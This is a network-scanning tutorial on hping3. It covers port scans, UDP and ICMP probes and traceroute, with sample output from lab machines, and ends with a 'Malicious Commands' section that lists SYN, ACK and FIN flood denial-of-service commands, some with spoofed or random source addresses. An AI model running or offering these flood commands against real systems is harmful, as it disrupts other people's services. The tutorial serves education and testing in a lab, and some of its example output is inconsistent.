How To Scan a Network With Hping3

Hping3

Hping3 is a command-line oriented TCP/IP packet assembler and analyser and works like Nmap.

The application is able to send customizes TCP/IP packets and display the reply as ICMP echo packets, even more Hping3 supports TCP, UDP, ICMP and RAW-IP protocols, has a traceroute mode, the ability to send files between a covered channel, and many other features like DDOS flooding attacks.

Hping3 can be used to perform:

- OS fingerprinting
- ICMP pings
- Traceroute
- Port scanning

- Firewall testing
- Test IDSes
- Network testing and auditing
- MTU discovery
- Exploit and vulnerabilities discovery
- DDOS and ICMP flooding

Hping3 comes pre-installed with Kali Linux but and can also be installed on most Linux distros, also you need to run the commands with sudo privileges. Visit the official documentation at to learn more on how you can use Hping3
http://www.hping.org/documentation.php

Useful Options

-h	Show this help
-v	Show version
-c	Packet count
-i	–interval
	–flood
-V	Verbose mode
-D	Debugging
-f	Fragment packets
-Q	Display sequence number

-0	RAW IP mode
-1	ICMP mode
-2	UDP mode
-8	SCAN mode
-9	listen mode

-F	Set the FIN flag
-S	Set the SYN flag
-P	Set the PUSH flag

-A	Set the ACK flag
-U	Set the URG flag

Commands

Send a ACK packet to a target

```
hping3 –A 192.168.100.11
```

```
HPING 192.168.100.11 (eth0 192.168.100.11): A set, 40 headers + 0 data bytes
len=46 ip=192.168.100.11 ttl=128 id=29627 sport=0 flags=R seq=0 win=32767 rtt=4.0
ms
len=46 ip=192.168.100.11 ttl=128 id=29628 sport=0 flags=R seq=1 win=32767 rtt=2.0
ms
len=46 ip=192.168.100.11 ttl=128 id=29629 sport=0 flags=R seq=2 win=32767 rtt=2.0
ms
len=46 ip=192.168.100.11 ttl=128 id=29632 sport=0 flags=R seq=3 win=32767 rtt=2.0
ms
len=46 ip=192.168.100.11 ttl=128 id=29633 sport=0 flags=R seq=4 win=32767 rtt=0.6
ms
len=46 ip=192.168.100.11 ttl=128 id=29634 sport=0 flags=R seq=5 win=32767 rtt=8.0
ms
len=46 ip=192.168.100.11 ttl=128 id=29635 sport=0 flags=R seq=6 win=32767 rtt=7.1
ms
len=46 ip=192.168.100.11 ttl=128 id=29636 sport=0 flags=R seq=7 win=32767 rtt=7.0
ms
len=46 ip=192.168.100.11 ttl=128 id=29637 sport=0 flags=R seq=8 win=32767 rtt=5.0
ms
```

Use the -c option to decide on how many packets to send, in this example i am setting the count option to 5.

```
hping3 -A -c 5 192.168.100.11
```

```
HPING 192.168.100.11 (eth0 192.168.100.11): A set, 40 headers + 0 data bytes
len=46 ip=192.168.100.11 ttl=128 id=30010 sport=0 flags=R seq=0 win=32767 rtt=7.9
ms
len=46 ip=192.168.100.11 ttl=128 id=30011 sport=0 flags=R seq=1 win=32767 rtt=7.0
ms
len=46 ip=192.168.100.11 ttl=128 id=30012 sport=0 flags=R seq=2 win=32767 rtt=7.6
ms
len=46 ip=192.168.100.11 ttl=128 id=30013 sport=0 flags=R seq=3 win=32767 rtt=5.1
ms
len=46 ip=192.168.100.11 ttl=128 id=30014 sport=0 flags=R seq=4 win=32767 rtt=4.0
ms

--- 192.168.100.11 hping statistic ---
5 packets transmitted, 5 packets received, 0% packet loss
round-trip min/avg/max = 4.0/6.3/7.9 ms
```

Create a SYN packet and use the scan mode to scan port 1-1000 on a target.

```
hping3 -S -8 1-1000 192.168.100.11
```

```
Scanning 192.168.100.11 (192.168.100.11), port 1-1000
1000 ports to scan, use -V to see all the replies
+----+-----------+---------+---+-----+-----+-----+
|port| serv name |  flags  |ttl| id  | win | len |
+----+-----------+---------+---+-----+-----+-----+
   53 domain     : .S..A... 128 55677 64240    46
   88 kerberos   : .S..A... 128 55933 64240    46
  135 epmap      : .S..A... 128 56189 64240    46
  139 netbios-ssn: .S..A... 128 56445 64240    46
  389 ldap       : .S..A... 128 56701 64240    46
  445 microsoft-d: .S..A... 128 56957 64240    46
  464 kpasswd    : .S..A... 128 57213 64240    46
  593            : .S..A... 128 52863 64240    46
  636 ldaps      : .S..A... 128 53375 64240    46
All replies received. Done.
Not responding ports: (199 smux) (202 at-nbp) (203 ) (204 at-echo) (299 ) (300 )
(301 ) (306 ) (307 ) (308 ) (309 ) (312 ) (313 ) (407 ) (500 isakmp) (514 shell)
(723 ) (729 ) (743 ) (761 ) (763 ) (764 ) (766 ) (767 ) (768 ) (769 ) (772 ) (782 )
(783 spamd) (784 ) (790 ) (791 ) (793 ) (794 ) (798 ) (799 ) (802 ) (803 ) (804 )
```

```
(805 ) (808 omirr) (809 ) (810 ) (811 ) (812 ) (813 ) (817 ) (818 ) (819 ) (820 )
(821 ) (822 ) (823 ) (824 ) (825 ) (827 ) (828 ) (829 ) (831 ) (832 ) (833 ) (834 )
(836 ) (837 ) (838 ) (839 ) (840 ) (841 ) (842 ) (843 ) (844 ) (845 ) (846 ) (847 )
(848 ) (849 ) (854 ) (855 ) (858 ) (878 ) (879 ) (880 ) (881 ) (911 ) (912 ) (913 )
(918 )
root@iPhone:~#
```

Send a UDP scan mode to send UDP request on port 80 to a target, if the UDP port is open then you will get a respond back, great to use when the target have blocked ICMP ping.

```
hping3 -2 192.168.100.17 -c 2 -p 80
```

Create a ping packet and use the ICMP mode.

```
hping3 -1 -c 4 192.168.100.11
```

```
HPING 192.168.100.11 (eth0 192.168.100.11): icmp mode set, 28 headers + 0 data
bytes
len=46 ip=192.168.100.11 ttl=128 id=34163 icmp_seq=0 rtt=8.1 ms
len=46 ip=192.168.100.11 ttl=128 id=34164 icmp_seq=1 rtt=5.9 ms
len=46 ip=192.168.100.11 ttl=128 id=34167 icmp_seq=2 rtt=4.0 ms
len=46 ip=192.168.100.11 ttl=128 id=34168 icmp_seq=3 rtt=3.0 ms

--- 192.168.100.11 hping statistic ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 3.0/5.2/8.1 ms
root@iPhone:~#
```

Traceroute to a target using ICM mode and show verbose.

```
hping3 --traceroute -V -1 192.168.100.11
```

```
using eth0, addr: 172.168.200.110, MTU: 1500
HPING google.com (eth0 216.58.211.142): icmp mode set, 28 headers + 0 data bytes
hop=1 TTL 0 during transit from ip=172.168.200.2 name=_gateway
hop=1 hoprtt=3.9 ms
hop=2 TTL 0 during transit from ip=192.168.10.1 name=UNKNOWN
hop=2 hoprtt=2.0 ms
hop=3 TTL 0 during transit from ip=10.33.221.74 name=UNKNOWN
hop=3 hoprtt=8.9 ms
hop=4 TTL 0 during transit from ip=88.129.174.18 name=gbg1.dr8.a3network.se
hop=4 hoprtt=8.9 ms
hop=5 TTL 0 during transit from ip=88.129.128.62 name=gbg1.a7network.se
hop=5 hoprtt=8.0 ms
hop=6 TTL 0 during transit from ip=85.8.9.16 name=gbg1.cr1.a3network.se
hop=6 hoprtt=6.9 ms
hop=7 TTL 0 during transit from ip=85.8.10.20 name=sto2.cr1.a3network.se
```

Traceroute to determined if port 443 is open, set that local traffic is generated from source port 8080

```
hping3 --traceroute -V -S -p 443 -s 8080 google.com
```

```
using eth0, addr: 172.168.200.110, MTU: 1500
HPING google.com (eth0 216.58.211.142): S set, 40 headers + 0 data bytes
hop=1 TTL 0 during transit from ip=172.168.200.2 name=_gateway
hop=1 hoprtt=8.9 ms
len=46 ip=216.58.211.142 ttl=128 id=34374 tos=0 iplen=44
sport=443 flags=SA seq=8 win=64240 rtt=13.8 ms
seq=905581660 ack=1390210946 sum=3cce urp=0

len=46 ip=216.58.211.142 ttl=128 id=34376 tos=0 iplen=44
sport=443 flags=SA seq=9 win=64240 rtt=13.9 ms
seq=277232268 ack=486133387 sum=5a24 urp=0

len=46 ip=216.58.211.142 ttl=128 id=34377 tos=0 iplen=44
```

```
sport=443 flags=SA seq=10 win=64240 rtt=13.0 ms
seq=1939483389 ack=2029365982 sum=8498 urp=0

len=46 ip=216.58.211.142 ttl=128 id=34378 tos=0 iplen=44
sport=443 flags=SA seq=11 win=64240 rtt=12.9 ms
seq=90127368 ack=1561834414 sum=c208 urp=0
```

Use the TTL in tracerout to check load balancing devices IP address.

```
hping3 -S 192.168.100.100 -p 80 -T --ttl 13 --tr-keep-ttl -n
```

Ping a subnet and don’t scan in order, instead randomize the scan. Use the –rand-dest and the interface -I eth0 operators.

```
hping3 -1 192.168.100.x --rand-dest -I eth0
```

Send a ICMP packet to request a timestamp from a target, if the target have the ICMP responses blocked it wont respond to ICMP packets however it might allow response to timestamp request.

```
hping3 -1 192.168.100.17 --icmp-ts -c 3
```

Malicious Commands

DISCLAIMER: This software/tutorial is for educational purposes only. It should not be used for illegal activity. The author is not responsible for its use or the users action, always perform the attacks on your own lab system.

Common used parameters.

- The –flood parameter, activates the fastest packet sending mode
- The -p “destport” parameter, specifies the destination port
- The –spoof parameter, specifies which IP address to be spoofed
- The -rand-source parameter, activates a random source address
- The –interface parameter, used to specify interface

Main attack flags.

- The -S parameter sets the SYN flag
- The -A parameter sets the ACK flag
- The -F parameter sets the FIN flag
- The -R parameter sets the RESET flag
- The -P parameter sets the PUSH flag
- The -U parameter sets the URGENT flag

To start a SYN flood attack run the command bellow

NOTE: When running the commands hping3 will ***not*** show any output, it is working in the background.

```
hping3 --flood -p [DST_PORT] [VICTIM_IP] -S
```

Use hping3 to run a SYN flood attack with a inactive spoofed IP address from the network.

```
hping3 --flood -p [DST_PORT] [VICTIM_IP] -S --spoof [INACTIVE_IP]
```

SYN flood attack with with random source IP address.

```
hping3 --flood -p [DST_PORT] [VICTIM_IP] -S --rand-source
```

ACK flood attack.

```
hping3 --flood -p [DST_PORT] [VICTIM_IP] -A
```

FIN flood attack.

```
hping3 --flood -p [DST_PORT] [VICTIM_IP] -F
```

Conclusion

In this lab we have covered the basic commands you can do in hping3, we assembled TCP and UDP packets and used them to scan networks and discovered devices, as always when doing this kind of scans make sore you are authorized to scan the network and devices you are scanning.